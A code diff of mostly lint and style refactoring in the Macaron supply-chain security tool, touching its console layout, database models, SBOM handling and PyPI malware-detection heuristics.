@@ -412,9 +412,7 @@ def _arg_has_attacker_controlled_github_ref(parts: object) -> bool:
".event.comment.body",
}:
pr_head_ref = True
- if expansion and pr_head_ref:
- return True
- return False
+ return bool(expansion and pr_head_ref)
def _has_attacker_controlled_expanded_ref(refs: list[str]) -> bool:
diff --git a/src/macaron/console.py b/src/macaron/console.py
index 10a624dd4..6514df205 100644
--- a/src/macaron/console.py
+++ b/src/macaron/console.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module implements a rich console handler for logging."""
@@ -215,36 +215,19 @@ def make_layout(self) -> list[RenderableType]:
"""
layout: list[RenderableType] = []
if self.description_table.row_count > 0:
- layout = layout + [
- "",
- self.description_table,
- ]
+ layout = [*layout, "", self.description_table]
if self.progress_table.row_count > 0:
- layout = layout + ["", self.progress, "", self.progress_table]
+ layout = [*layout, "", self.progress, "", self.progress_table]
if self.failed_checks_table.row_count > 0:
- layout = layout + [
- "",
- Rule(" SUMMARY", align="left"),
- "",
- self.failed_checks_table,
- ]
+ layout = [*layout, "", Rule(" SUMMARY", align="left"), "", self.failed_checks_table]
if self.summary_table.row_count > 0:
- layout = layout + ["", self.summary_table]
+ layout = [*layout, "", self.summary_table]
if self.report_table.row_count > 0:
- layout = layout + [
- self.report_table,
- ]
+ layout = [*layout, self.report_table]
elif self.summary_table.row_count > 0:
- layout = layout + [
- "",
- Rule(" SUMMARY", align="left"),
- "",
- self.summary_table,
- ]
+ layout = [*layout, "", Rule(" SUMMARY", align="left"), "", self.summary_table]
if self.report_table.row_count > 0:
- layout = layout + [
- self.report_table,
- ]
+ layout = [*layout, self.report_table]
return layout
@@ -641,121 +624,64 @@ def make_layout(self) -> Group:
title_align="left",
border_style="red",
)
- layout = layout + [error_log_panel]
+ layout = [*layout, error_log_panel]
if self.command == "analyze":
if self.show_full_layout:
if self.description_table.row_count > 0:
- layout = layout + [
- Rule(" DESCRIPTION", align="left"),
- "",
- self.description_table,
- ]
+ layout = [*layout, Rule(" DESCRIPTION", align="left"), "", self.description_table]
if self.progress_table.row_count > 0:
- layout = layout + ["", self.progress, "", self.progress_table]
+ layout = [*layout, "", self.progress, "", self.progress_table]
if self.failed_checks_table.row_count > 0:
- layout = layout + [
- "",
- Rule(" SUMMARY", align="left"),
- "",
- self.failed_checks_table,
- ]
+ layout = [*layout, "", Rule(" SUMMARY", align="left"), "", self.failed_checks_table]
if self.summary_table.row_count > 0:
- layout = layout + ["", self.summary_table]
+ layout = [*layout, "", self.summary_table]
if self.report_table.row_count > 0:
- layout = layout + [
- self.report_table,
- ]
+ layout = [*layout, self.report_table]
elif self.summary_table.row_count > 0:
- layout = layout + [
- "",
- Rule(" SUMMARY", align="left"),
- "",
- self.summary_table,
- ]
+ layout = [*layout, "", Rule(" SUMMARY", align="left"), "", self.summary_table]
if self.report_table.row_count > 0:
- layout = layout + [
- self.report_table,
- ]
+ layout = [*layout, self.report_table]
if self.if_dependency and self.dependency_analysis_list:
for idx, dependency in enumerate(self.dependency_analysis_list, start=1):
dependency_layout = dependency.make_layout()
- layout = (
- layout
- + [
- "",
- Rule(f" DEPENDENCY {idx}", align="left"),
- ]
- + dependency_layout
- )
+ layout = [*layout, "", Rule(f" DEPENDENCY {idx}", align="left"), *dependency_layout]
elif self.if_dependency and self.dependency_analysis_list:
dependency = self.dependency_analysis_list[-1]
dependency_layout = dependency.make_layout()
- layout = (
- layout
- + [
- "",
- Rule(f" DEPENDENCY {len(self.dependency_analysis_list)}", align="left"),
- ]
- + dependency_layout
- )
+ layout = [
+ *layout,
+ "",
+ Rule(f" DEPENDENCY {len(self.dependency_analysis_list)}", align="left"),
+ *dependency_layout,
+ ]
else:
if self.description_table.row_count > 0:
- layout = layout + [
- Rule(" DESCRIPTION", align="left"),
- "",
- self.description_table,
- ]
+ layout = [*layout, Rule(" DESCRIPTION", align="left"), "", self.description_table]
if self.progress_table.row_count > 0:
- layout = layout + ["", self.progress, "", self.progress_table]
+ layout = [*layout, "", self.progress, "", self.progress_table]
if self.failed_checks_table.row_count > 0:
- layout = layout + [
- "",
- Rule(" SUMMARY", align="left"),
- "",
- self.failed_checks_table,
- ]
+ layout = [*layout, "", Rule(" SUMMARY", align="left"), "", self.failed_checks_table]
if self.summary_table.row_count > 0:
- layout = layout + ["", self.summary_table]
+ layout = [*layout, "", self.summary_table]
if self.report_table.row_count > 0:
- layout = layout + [
- self.report_table,
- ]
+ layout = [*layout, self.report_table]
elif self.summary_table.row_count > 0:
- layout = layout + [
- "",
- Rule(" SUMMARY", align="left"),
- "",
- self.summary_table,
- ]
+ layout = [*layout, "", Rule(" SUMMARY", align="left"), "", self.summary_table]
if self.report_table.row_count > 0:
- layout = layout + [
- self.report_table,
- ]
+ layout = [*layout, self.report_table]
elif self.command == "verify-policy":
if self.policies_table.row_count > 0:
- layout = layout + [self.policies_table]
+ layout = [*layout, self.policies_table]
elif self.policy_summary_table.row_count > 0:
if self.components_satisfy_table.row_count > 0:
- layout = layout + [
- "[bold green] Components Satisfy Policy[/]",
- self.components_satisfy_table,
- ]
+ layout = [*layout, "[bold green] Components Satisfy Policy[/]", self.components_satisfy_table]
else:
- layout = layout + [
- "[bold green] Components Satisfy Policy[/] [white not italic]None[/]",
- ]
+ layout = [*layout, "[bold green] Components Satisfy Policy[/] [white not italic]None[/]"]
if self.components_violates_table.row_count > 0:
- layout = layout + [
- "",
- "[bold red] Components Violate Policy[/]",
- self.components_violates_table,
- ]
+ layout = [*layout, "", "[bold red] Components Violate Policy[/]", self.components_violates_table]
else:
- layout = layout + [
- "",
- "[bold red] Components Violate Policy[/] [white not italic]None[/]",
- ]
- layout = layout + ["", self.policy_summary_table]
+ layout = [*layout, "", "[bold red] Components Violate Policy[/] [white not italic]None[/]"]
+ layout = [*layout, "", self.policy_summary_table]
if self.verification_summary_attestation:
vsa_table = Table(show_header=False, box=None)
vsa_table.add_column("Detail", justify="left")
@@ -771,21 +697,20 @@ def make_layout(self) -> Group:
f"cat {self.verification_summary_attestation} | jq -r [white]'.payload'[/] | base64 -d | jq",
)
- layout = layout + [vsa_table]
+ layout = [*layout, vsa_table]
elif self.command == "find-source":
if self.find_source_table.row_count > 0:
- layout = layout + [self.find_source_table]
+ layout = [*layout, self.find_source_table]
elif self.command == "dump-defaults":
dump_defaults_table = Table(show_header=False, box=None)
dump_defaults_table.add_column("Detail", justify="left")
dump_defaults_table.add_column("Value", justify="left")
dump_defaults_table.add_row("Dump Defaults", self.dump_defaults)
- layout = layout + [dump_defaults_table]
- elif self.command == "gen-build-spec":
- if self.gen_build_spec_table.row_count > 0:
- layout = layout + [self.gen_build_spec_table]
+ layout = [*layout, dump_defaults_table]
+ elif self.command == "gen-build-spec" and self.gen_build_spec_table.row_count > 0:
+ layout = [*layout, self.gen_build_spec_table]
if self.verbose:
- layout = layout + ["", self.verbose_panel]
+ layout = [*layout, "", self.verbose_panel]
if self.error_message:
error_panel = Panel(
self.error_message,
@@ -793,7 +718,7 @@ def make_layout(self) -> Group:
title_align="left",
border_style="red",
)
- layout = layout + ["", error_panel]
+ layout = [*layout, "", error_panel]
return Group(*layout)
def error(self, message: str) -> None:
diff --git a/src/macaron/database/db_custom_types.py b/src/macaron/database/db_custom_types.py
index 231139e7b..ae5ad56f9 100644
--- a/src/macaron/database/db_custom_types.py
+++ b/src/macaron/database/db_custom_types.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module implements SQLAlchemy types for Python data types that cannot be automatically stored."""
@@ -17,7 +17,7 @@
)
-class RFC3339DateTime(TypeDecorator): # pylint: disable=W0223
+class RFC3339DateTime(TypeDecorator): # pylint: disable=abstract-method
"""
SQLAlchemy column type to serialise datetime objects for SQLite in consistent format matching in-toto.
@@ -70,7 +70,7 @@ def process_result_value(self, value: None | str, dialect: Any) -> None | dateti
return result.astimezone(RFC3339DateTime._host_tzinfo)
-class DBJsonDict(TypeDecorator): # pylint: disable=W0223
+class DBJsonDict(TypeDecorator): # pylint: disable=abstract-method
"""SQLAlchemy column type to serialize dictionaries."""
# It is stored in the database as a json value.
@@ -131,7 +131,7 @@ def process_result_value(self, value: None | dict, dialect: Any) -> dict:
return value
-class DBJsonList(TypeDecorator): # pylint: disable=W0223
+class DBJsonList(TypeDecorator): # pylint: disable=abstract-method
"""SQLAlchemy column type to serialize lists."""
# It is stored in the database as a json value.
@@ -192,7 +192,7 @@ def process_result_value(self, value: None | list, dialect: Any) -> list:
return value
-class ProvenancePayload(TypeDecorator): # pylint: disable=W0223
+class ProvenancePayload(TypeDecorator): # pylint: disable=abstract-method
"""SQLAlchemy column type to serialize InTotoProvenance."""
# It is stored in the database as a String value.
diff --git a/src/macaron/database/table_definitions.py b/src/macaron/database/table_definitions.py
index a3e53f5d7..1794a7a86 100644
--- a/src/macaron/database/table_definitions.py
+++ b/src/macaron/database/table_definitions.py
@@ -61,7 +61,7 @@ class Analysis(ORMBase):
__tablename__ = "_analysis"
#: The primary key.
- id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003
+ id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True)
#: The analysis start time.
analysis_time: Mapped[datetime] = mapped_column(RFC3339DateTime, nullable=False)
@@ -83,7 +83,7 @@ class PackageURLMixin:
"""
#: A short code to identify the type of the package.
- type: Mapped[str] = mapped_column( # noqa: A003
+ type: Mapped[str] = mapped_column(
String(16),
nullable=False,
comment=(
@@ -111,7 +111,7 @@ class PackageURLMixin:
qualifiers: Mapped[str] = mapped_column(
String(1024),
nullable=True,
- comment=("Extra qualifying data for a package such as the name of an OS, " "architecture, distro, etc."),
+ comment=("Extra qualifying data for a package such as the name of an OS, architecture, distro, etc."),
)
#: Extra subpath within a package, relative to the package root.
@@ -135,7 +135,7 @@ class Component(PackageURLMixin, ORMBase):
__tablename__ = "_component"
#: The primary key.
- id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003
+ id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True)
# TODO: The unique constraint on PURL is set to False for now and we be turned on in future.
#: The PURL column is for the benefit of Souffle to make it easy to query based on a PURL string.
@@ -168,8 +168,8 @@ class Component(PackageURLMixin, ORMBase):
#: The bidirectional many-to-many relationship for component dependencies.
dependencies: Mapped[list["Component"]] = relationship(
secondary=components_association_table,
- primaryjoin=components_association_table.c.parent_component == id,
- secondaryjoin=components_association_table.c.child_component == id,
+ primaryjoin=components_association_table.c.parent_component == id, # noqa: A003
+ secondaryjoin=components_association_table.c.child_component == id, # noqa: A003
)
#: The optional one-to-one relationship with a provenance subject in case this
@@ -270,7 +270,7 @@ class Repository(ORMBase):
__tablename__ = "_repository"
#: The primary key.
- id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003
+ id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True)
# Because component is the parent table, we should define the foreign key here in the child table.
#: The foreign key to the software component.
@@ -286,7 +286,7 @@ class Repository(ORMBase):
full_name: Mapped[str] = mapped_column(String, nullable=False)
#: The PURL type.
- type: Mapped[str] = mapped_column(String, nullable=False) # noqa: A003
+ type: Mapped[str] = mapped_column(String, nullable=False)
# TODO: for locally cloned repos, do we have both type and owner, or can they be null?
#: The PURL namespace, which is the owner in pkg:github.com/owner/name@commit-sha.
@@ -374,14 +374,15 @@ class SLSARequirement(ORMBase):
# See https://alembic.sqlalchemy.org/en/latest/naming.html
__table_args__ = (UniqueConstraint("component_id", "requirement_name", name="uq__slsa_requirement_component_id"),)
- id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003
+ id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True)
#: The software component ID.
component_id: Mapped[int] = mapped_column(Integer, ForeignKey("_component.id"), nullable=False)
#: The unique SLSA requirement name.
requirement_name: Mapped[Enum] = mapped_column(
- Enum(*ReqName._member_names_), nullable=False # pylint: disable=protected-access,no-member
+ Enum(*ReqName._member_names_), # pylint: disable=protected-access,no-member
+ nullable=False,
)
#: The short description of the SLSA requirement.
@@ -407,7 +408,7 @@ class MappedCheckResult(ORMBase):
__table_args__ = (UniqueConstraint("component_id", "check_id", name="uq__check_result_component_id"),)
#: The primary key.
- id: Mapped[int] = mapped_column( # noqa: A003 # pylint: disable=invalid-name
+ id: Mapped[int] = mapped_column( # pylint: disable=invalid-name
Integer, primary_key=True, autoincrement=True
)
@@ -439,7 +440,7 @@ class CheckFacts(ORMBase):
__tablename__ = "_check_facts"
#: The primary key.
- id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003
+ id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True)
#: The confidence score to estimate the accuracy of the check fact. This value should be in the range [0.0, 1.0] with
#: a lower value depicting a lower confidence. Because some analyses used in checks may use
@@ -467,7 +468,7 @@ class CheckFacts(ORMBase):
checkresult: Mapped["MappedCheckResult"] = relationship(back_populates="checkfacts")
#: The polymorphic inheritance configuration.
- __mapper_args__ = {
+ __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392)
"polymorphic_identity": "CheckFacts",
"polymorphic_on": "check_type",
}
@@ -479,7 +480,7 @@ class Provenance(ORMBase):
__tablename__ = "_provenance"
#: The primary key.
- id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003
+ id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True)
#: The foreign key to the software component.
component_id: Mapped[int] = mapped_column(Integer, ForeignKey(Component.id), nullable=False)
@@ -524,7 +525,7 @@ class ReleaseArtifact(ORMBase):
__tablename__ = "_release_artifact"
#: The primary key.
- id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003
+ id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True)
#: The name of the artifact.
name: Mapped[str] = mapped_column(String, nullable=False)
@@ -548,7 +549,7 @@ class HashDigest(ORMBase):
__tablename__ = "_hash_digest"
#: The primary key.
- id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003
+ id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True)
#: The hash digest value.
digest: Mapped[str] = mapped_column(String, nullable=False)
@@ -572,7 +573,7 @@ class ProvenanceSubject(ORMBase):
__tablename__ = "_provenance_subject"
#: The primary key.
- id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003
+ id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True)
#: The component id of the provenance subject.
component_id: Mapped[int] = mapped_column(
@@ -637,7 +638,7 @@ class RepoFinderMetadata(ORMBase):
__tablename__ = "_repo_finder_metadata"
#: The primary key.
- id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003
+ id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True)
#: The foreign key to the software component.
component_id: Mapped[int] = mapped_column(Integer, ForeignKey(Component.id), nullable=False)
@@ -647,12 +648,14 @@ class RepoFinderMetadata(ORMBase):
#: The outcome of the Repo Finder.
repo_finder_outcome: Mapped[Enum] = mapped_column(
- Enum(RepoFinderInfo), nullable=False # pylint: disable=protected-access,no-member
+ Enum(RepoFinderInfo),
+ nullable=False,
)
#: The outcome of the Commit Finder.
commit_finder_outcome: Mapped[Enum] = mapped_column(
- Enum(CommitFinderInfo), nullable=False # pylint: disable=protected-access,no-member
+ Enum(CommitFinderInfo),
+ nullable=False,
)
#: The URL found by the Repo Finder (if applicable).
diff --git a/src/macaron/database/views.py b/src/macaron/database/views.py
index 0db99814a..d61637524 100644
--- a/src/macaron/database/views.py
+++ b/src/macaron/database/views.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
# pylint: skip-file
@@ -41,7 +41,7 @@ def _create_view(element, comp, **kw): # type: ignore
@compiler.compiles(DropView)
def _drop_view(element, comp, **kw): # type: ignore
- return "DROP VIEW %s" % (element.name)
+ return f"DROP VIEW {element.name}"
def view_exists(
@@ -82,8 +82,8 @@ def view_exists(
bool
Returns `True` if the view exists in the database, `False` otherwise.
"""
- if isinstance(ddl, CreateView) or isinstance(ddl, DropView):
- assert isinstance(bind, Connection)
+ if isinstance(ddl, (CreateView, DropView)):
+ assert isinstance(bind, Connection) # noqa: S101
return ddl.name in sa.inspect(bind).get_view_names()
return False
diff --git a/src/macaron/dependency_analyzer/cyclonedx.py b/src/macaron/dependency_analyzer/cyclonedx.py
index c46a8a773..dca401f92 100644
--- a/src/macaron/dependency_analyzer/cyclonedx.py
+++ b/src/macaron/dependency_analyzer/cyclonedx.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module contains helper functions to process CycloneDX SBOM."""
@@ -6,7 +6,7 @@
import json
import logging
import os
-import subprocess # nosec B404
+import subprocess
from collections.abc import Iterable
from pathlib import Path
from typing import Any, TypedDict
@@ -54,7 +54,7 @@ def deserialize_bom_json(file_path: Path) -> Bom:
If the bom.json file cannot be located or deserialized.
"""
if not os.path.exists(file_path):
- raise CycloneDXParserError(f"Unable to locate any BOM files at: {str(file_path.parent)}.")
+ raise CycloneDXParserError(f"Unable to locate any BOM files at: {file_path.parent!s}.")
# We use the `cyclonedx-python-library` library for deserialization following the example here:
# https://cyclonedx-python-library.readthedocs.io/en/v7.3.4/examples.html
@@ -76,7 +76,7 @@ def deserialize_bom_json(file_path: Path) -> Bom:
if validation_errors:
logger.debug("BOM file is invalid: %s", repr(validation_errors))
- raise CycloneDXParserError(f"BOM file is invalid: {repr(validation_errors)}")
+ raise CycloneDXParserError(f"BOM file is invalid: {validation_errors!r}")
logger.debug("Successfully validated the BOM file at %s", file_path)
@@ -340,7 +340,6 @@ def resolve_dependencies(main_ctx: Any, sbom_path: str, recursive: bool = False)
# Grab dependencies for each build tool, collate all into the deps_resolved.
for build_tool in build_tools:
-
try:
# We allow dependency analysis if SBOM is provided but no repository is found.
dep_analyzer = build_tool.get_dep_analyzer()
@@ -371,7 +370,7 @@ def resolve_dependencies(main_ctx: Any, sbom_path: str, recursive: bool = False)
commands = dep_analyzer.get_cmd()
try:
# Suppressing Bandit's B603 report because the repo paths are validated.
- analyzer_output = subprocess.run( # nosec B603
+ analyzer_output = subprocess.run( # noqa: S603
commands,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
diff --git a/src/macaron/json_tools.py b/src/macaron/json_tools.py
index df8126074..c586e0744 100644
--- a/src/macaron/json_tools.py
+++ b/src/macaron/json_tools.py
@@ -46,7 +46,7 @@ def json_extract(entry: dict | list, keys: Sequence[str | int], type_: type[T])
return None
# If statement required for mypy to not complain. The else case can never happen because of the above if block.
- if isinstance(entry, dict) and isinstance(key, str):
+ if isinstance(entry, dict) and isinstance(key, str): # noqa: SIM114
entry = entry[key]
elif isinstance(entry, list) and isinstance(key, int):
entry = entry[key]
diff --git a/src/macaron/malware_analyzer/pypi_heuristics/heuristics.py b/src/macaron/malware_analyzer/pypi_heuristics/heuristics.py
index 9699066f6..7af805127 100644
--- a/src/macaron/malware_analyzer/pypi_heuristics/heuristics.py
+++ b/src/macaron/malware_analyzer/pypi_heuristics/heuristics.py
@@ -1,12 +1,12 @@
-# Copyright (c) 2024 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""Define the heuristic enum."""
-from enum import Enum
+from enum import StrEnum
-class Heuristics(str, Enum):
+class Heuristics(StrEnum):
"""Seven heuristics for detecting suspicious pypi package."""
#: Indicates that the package does not contain any project links (such as documentation or Git repository pages).
@@ -59,11 +59,11 @@ class Heuristics(str, Enum):
STUB_NAME = "stub_name"
-class HeuristicResult(str, Enum):
+class HeuristicResult(StrEnum):
"""Result type indicating the outcome of a heuristic."""
#: Indicates that no suspicious activity was detected.
- PASS = "PASS" # nosec B105
+ PASS = "PASS" # noqa: S105
#: Indicates that suspicious activity was detected.
FAIL = "FAIL"
diff --git a/src/macaron/malware_analyzer/pypi_heuristics/metadata/anomalous_version.py b/src/macaron/malware_analyzer/pypi_heuristics/metadata/anomalous_version.py
index c5fd8f790..b5add5f62 100644
--- a/src/macaron/malware_analyzer/pypi_heuristics/metadata/anomalous_version.py
+++ b/src/macaron/malware_analyzer/pypi_heuristics/metadata/anomalous_version.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2024 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""The heuristic analyzer to check for an anomalous package version."""
@@ -58,7 +58,16 @@ class AnomalousVersionAnalyzer(BaseHeuristicAnalyzer):
"""
DETAIL_INFO_KEY: str = "versioning"
- DIGIT_DATE_FORMATS: list[str] = ["%Y%m%d", "%Y%d%m", "%d%m%Y", "%m%d%Y", "%y%m%d", "%y%d%m", "%d%m%y", "%m%d%y"]
+ DIGIT_DATE_FORMATS: tuple[str, ...] = (
+ "%Y%m%d",
+ "%Y%d%m",
+ "%d%m%Y",
+ "%m%d%Y",
+ "%y%m%d",
+ "%y%d%m",
+ "%d%m%y",
+ "%m%d%y",
+ )
def __init__(self) -> None:
super().__init__(
diff --git a/src/macaron/malware_analyzer/pypi_heuristics/metadata/fake_email.py b/src/macaron/malware_analyzer/pypi_heuristics/metadata/fake_email.py
index 300629ae1..1e89786b4 100644
--- a/src/macaron/malware_analyzer/pypi_heuristics/metadata/fake_email.py
+++ b/src/macaron/malware_analyzer/pypi_heuristics/metadata/fake_email.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2024 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""The heuristic analyzer to check the email address of the package maintainers."""
@@ -22,13 +22,13 @@ class FakeEmailAnalyzer(BaseHeuristicAnalyzer):
"""Analyze the email address of the package maintainers."""
PATTERN = re.compile(
- r"""\b # word‑boundary
- [A-Za-z0-9]+ # first alpha‑numeric segment
+ r"""\b # word-boundary
+ [A-Za-z0-9]+ # first alpha-numeric segment
(?:\.[A-Za-z0-9]+)* # optional “.segment” repeats
@
[A-Za-z0-9]+ # domain name segment
- (?:\.[A-Za-z0-9]+)* # optional sub‑domains
- \.[A-Za-z]{2,} # top‑level domain (at least 2 letters)
+ (?:\.[A-Za-z0-9]+)* # optional sub-domains
+ \.[A-Za-z]{2,} # top-level domain (at least 2 letters)
\b""",
re.VERBOSE,
)
diff --git a/src/macaron/malware_analyzer/pypi_heuristics/metadata/typosquatting_presence.py b/src/macaron/malware_analyzer/pypi_heuristics/metadata/typosquatting_presence.py
index 810d7523b..ad1877075 100644
--- a/src/macaron/malware_analyzer/pypi_heuristics/metadata/typosquatting_presence.py
+++ b/src/macaron/malware_analyzer/pypi_heuristics/metadata/typosquatting_presence.py
@@ -5,6 +5,7 @@
import logging
import os
+import types
from macaron import MACARON_PATH
from macaron.config.defaults import defaults
@@ -20,45 +21,47 @@
class TyposquattingPresenceAnalyzer(BaseHeuristicAnalyzer):
"""Check whether the PyPI package has typosquatting presence."""
- KEYBOARD_LAYOUT = {
- "1": (0, 0),
- "2": (0, 1),
- "3": (0, 2),
- "4": (0, 3),
- "5": (0, 4),
- "6": (0, 5),
- "7": (0, 6),
- "8": (0, 7),
- "9": (0, 8),
- "0": (0, 9),
- "-": (0, 10),
- "q": (1, 0),
- "w": (1, 1),
- "e": (1, 2),
- "r": (1, 3),
- "t": (1, 4),
- "y": (1, 5),
- "u": (1, 6),
- "i": (1, 7),
- "o": (1, 8),
- "p": (1, 9),
- "a": (2, 0),
- "s": (2, 1),
- "d": (2, 2),
- "f": (2, 3),
- "g": (2, 4),
- "h": (2, 5),
- "j": (2, 6),
- "k": (2, 7),
- "l": (2, 8),
- "z": (3, 0),
- "x": (3, 1),
- "c": (3, 2),
- "v": (3, 3),
- "b": (3, 4),
- "n": (3, 5),
- "m": (3, 6),
- }
+ KEYBOARD_LAYOUT = types.MappingProxyType(
+ {
+ "1": (0, 0),
+ "2": (0, 1),
+ "3": (0, 2),
+ "4": (0, 3),
+ "5": (0, 4),
+ "6": (0, 5),
+ "7": (0, 6),
+ "8": (0, 7),
+ "9": (0, 8),
+ "0": (0, 9),
+ "-": (0, 10),
+ "q": (1, 0),
+ "w": (1, 1),
+ "e": (1, 2),
+ "r": (1, 3),
+ "t": (1, 4),
+ "y": (1, 5),
+ "u": (1, 6),
+ "i": (1, 7),
+ "o": (1, 8),
+ "p": (1, 9),
+ "a": (2, 0),
+ "s": (2, 1),
+ "d": (2, 2),
+ "f": (2, 3),
+ "g": (2, 4),
+ "h": (2, 5),
+ "j": (2, 6),
+ "k": (2, 7),
+ "l": (2, 8),
+ "z": (3, 0),
+ "x": (3, 1),
+ "c": (3, 2),
+ "v": (3, 3),
+ "b": (3, 4),
+ "n": (3, 5),
+ "m": (3, 6),
+ }
+ )
def __init__(self, popular_packages_path: str | None = None) -> None:
super().__init__(
diff --git a/src/macaron/malware_analyzer/pypi_heuristics/sourcecode/pypi_sourcecode_analyzer.py b/src/macaron/malware_analyzer/pypi_heuristics/sourcecode/pypi_sourcecode_analyzer.py
index 4111c9361..613f3d253 100644
--- a/src/macaron/malware_analyzer/pypi_heuristics/sourcecode/pypi_sourcecode_analyzer.py
+++ b/src/macaron/malware_analyzer/pypi_heuristics/sourcecode/pypi_sourcecode_analyzer.py
@@ -11,7 +11,7 @@
import json
import logging
import os
-import subprocess # nosec B404
+import subprocess
import tempfile
import yaml
@@ -138,7 +138,7 @@ def _load_defaults(self, resources_path: str) -> tuple[str, str | None, set[str]
custom_rule_path,
]
try:
- process = subprocess.run(semgrep_commands, check=True, capture_output=True) # nosec B603
+ process = subprocess.run(semgrep_commands, check=True, capture_output=True) # noqa: S603
if process.returncode != 0:
# Only a warning is used here, so that if running offline, the analysis can continue. Erroneous Semgrep files
# will be picked up at analysis time in this case.
@@ -304,7 +304,7 @@ def analyze(self, pypi_package_json: PyPIPackageJsonAsset) -> tuple[HeuristicRes
print_command = " ".join(semgrep_commands)
logger.debug("executing: %s.", print_command)
try:
- process = subprocess.run(semgrep_commands, check=True, capture_output=True) # nosec B603
+ process = subprocess.run(semgrep_commands, check=True, capture_output=True) # noqa: S603
except subprocess.CalledProcessError as semgrep_error:
error_msg = f"""Unable to run {print_command} on {source_code_path}: {semgrep_error}
Return code: {semgrep_error.returncode}
@@ -321,7 +321,7 @@ def analyze(self, pypi_package_json: PyPIPackageJsonAsset) -> tuple[HeuristicRes
raise HeuristicAnalyzerValueError(error_msg) from timeout_error
if process.returncode != 0:
- error_msg = f"Error running semgrep on {source_code_path} with argument(s)" f" {process.args}"
+ error_msg = f"Error running semgrep on {source_code_path} with argument(s) {process.args}"
logger.debug(error_msg)
raise HeuristicAnalyzerValueError(error_msg)
diff --git a/src/macaron/output_reporter/jinja2_extensions.py b/src/macaron/output_reporter/jinja2_extensions.py
index 76848a086..3e36d95eb 100644
--- a/src/macaron/output_reporter/jinja2_extensions.py
+++ b/src/macaron/output_reporter/jinja2_extensions.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2022 - 2023, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module contains the Jinja2 extension filters and tests.
@@ -118,12 +118,13 @@ def j2_filter_get_flatten_dict(data: Any, has_key: bool = False) -> dict | Any:
Examples
--------
>>> j2_filter_get_flatten_dict(
- ... {
- ... "A": [1, 2, 3],
- ... "B": {
- ... "C": ["blah", "bar", "foo"],
- ... },
- ... })
+ ... {
+ ... "A": [1, 2, 3],
+ ... "B": {
+ ... "C": ["blah", "bar", "foo"],
+ ... },
+ ... }
+ ... )
{'A': {0: 1, 1: 2, 2: 3}, 'B': {'C': {0: 'blah', 1: 'bar', 2: 'foo'}}}
"""
if isinstance(data, (str, int, bool, float)):
diff --git a/src/macaron/output_reporter/results.py b/src/macaron/output_reporter/results.py
index f2e86dcba..691c562f3 100644
--- a/src/macaron/output_reporter/results.py
+++ b/src/macaron/output_reporter/results.py
@@ -162,8 +162,7 @@ def get_dep_summary(self) -> DepSummary:
analyzed_deps=0,
unique_dep_repos=0,
checks_summary=[
- {"check_id": check_id, "num_deps_pass": 0} # nosec B105
- for check_id in registry.get_all_checks_mapping()
+ {"check_id": check_id, "num_deps_pass": 0} for check_id in registry.get_all_checks_mapping()
],
dep_status=[dep.get_summary() for dep in self.dependencies],
)
diff --git a/src/macaron/output_reporter/scm.py b/src/macaron/output_reporter/scm.py
index c090a95f2..6e1a3bc06 100644
